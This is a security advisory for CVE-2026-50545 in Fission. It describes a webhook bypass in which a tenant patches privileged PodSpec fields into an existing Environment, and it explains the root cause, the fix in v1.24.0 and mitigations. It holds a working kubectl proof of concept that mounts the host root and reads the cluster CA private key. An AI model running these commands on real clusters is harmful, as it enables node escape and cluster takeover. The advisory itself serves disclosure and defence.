critical · 9.9CVE-2026-50545Jun 30, 2026

CVE-2026-50545: Fission Environment PodSpec Injection Leading to Node Escape and Cluster Takeover

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A tenant with basic Kubernetes RBAC on Fission's Environment CRD can inject privileged pod settings through a two-step apply-then-patch that bypasses the admission webhook, causing poolmgr to schedule

Packagegithub.com/fission/fission
Ecosystemgo
Affected<= 1.23.0
Fixed in1.24.0

The problem

Fission's `Environment.spec.runtime.podSpec` and `spec.builder.podSpec` fields are passed directly through `MergePodSpec` into the Deployments generated by poolmgr, newdeploy, and buildermgr. Before v1.24.0, `Environment.Validate` only checked container naming conventions, so dangerous fields like `hostPID`, `hostIPC`, `hostNetwork`, `hostPath` volumes, `privileged`, and `serviceAccountName` were never rejected.

The admission webhook in `pkg/webhook/environment.go` was registered with `verbs=create` only. A tenant could `kubectl apply` a clean Environment (passing the webhook), then `kubectl patch` in the dangerous fields on the existing object. The webhook was never invoked on the UPDATE, so the malicious fields landed unobstructed in the next pod scheduled by poolmgr, roughly 20 seconds after the patch.

From that privileged host-root-mounted pod, the cluster CA private key is readable, enabling the attacker to sign arbitrary kubelet certificates and take over the cluster.

Proof of concept

A working proof-of-concept for CVE-2026-50545 in github.com/fission/fission, with the exact payload below.

bash
# Step 1: create a clean Environment (webhook fires, passes)
kubectl apply -f - <<'EOF'
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: pwn-env
  namespace: default
spec:
  version: 2
  runtime:
    image: fission/python-env:latest
  builder:
    image: fission/python-builder:latest
    command: build
EOF

# Step 2: patch in dangerous fields (webhook NOT called on UPDATE)
kubectl patch environment pwn-env --type=merge -p '{
  "spec": {
    "runtime": {
      "podSpec": {
        "hostPID": true,
        "hostIPC": true,
        "hostNetwork": true,
        "volumes": [{
          "name": "host-root",
          "hostPath": { "path": "/", "type": "" }
        }],
        "containers": [{
          "name": "python",
          "volumeMounts": [{
            "name": "host-root",
            "mountPath": "/host"
          }],
          "securityContext": {
            "privileged": true,
            "allowPrivilegeEscalation": true
          }
        }]
      }
    }
  }
}'

# Step 3: ~20 s later, poolmgr schedules the poisoned pod
# Read the cluster CA private key from the pod
kubectl exec -n fission-function \
  $(kubectl get pods -n fission-function -l environmentName=pwn-env -o name | head -1) \
  -- cat /host/etc/kubernetes/pki/ca.key

The root cause is a combination of CWE-284 (missing UPDATE verb on the admission webhook) and CWE-269 (no validation of privilege-escalating PodSpec fields). Because `pkg/webhook/environment.go` only registered `verbs=create`, any `kubectl patch` or `kubectl apply` on an already-existing Environment object skipped the webhook entirely, making the create-time check trivially bypassable.

`pkg/executor/util/merge.go::MergePodSpec` then unconditionally forwarded `HostPID`, `HostIPC`, `HostNetwork`, `Volumes` (including hostPath entries), per-container `SecurityContext`, and `ServiceAccountName` into the generated Deployment spec. No sanitization occurred between the CRD and the scheduled pod.

PR #3391 fixed all three layers: `ValidatePodSpecSafety` is now called from `Environment.Validate` for both `Runtime.PodSpec` and `Builder.PodSpec`; the webhook marker is extended to `verbs=create;update`; and `MergePodSpec` strips host namespaces, `ServiceAccountName`, hostPath volumes, and per-container `privileged`/`allowPrivilegeEscalation` at the merge layer as defence in depth.

The fix

Upgrade to Fission v1.24.0. PRs #3391 (PodSpec safety validation + webhook UPDATE coverage + merge-layer stripping) and #3390 (buildermgr SA-token fix) together close all three attack surfaces. Commits: 8fa799417c77ce8a0189d9858bfe11ece29b84a6 and e484df8460bb4e8026e24210120602aa7f181f64.

If an immediate upgrade is not possible, restrict `environments.fission.io` create and update RBAC to fully trusted principals only, and enforce a restrictive Pod Security Admission policy (Baseline or Restricted) on the fission-function and fission-builder namespaces.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research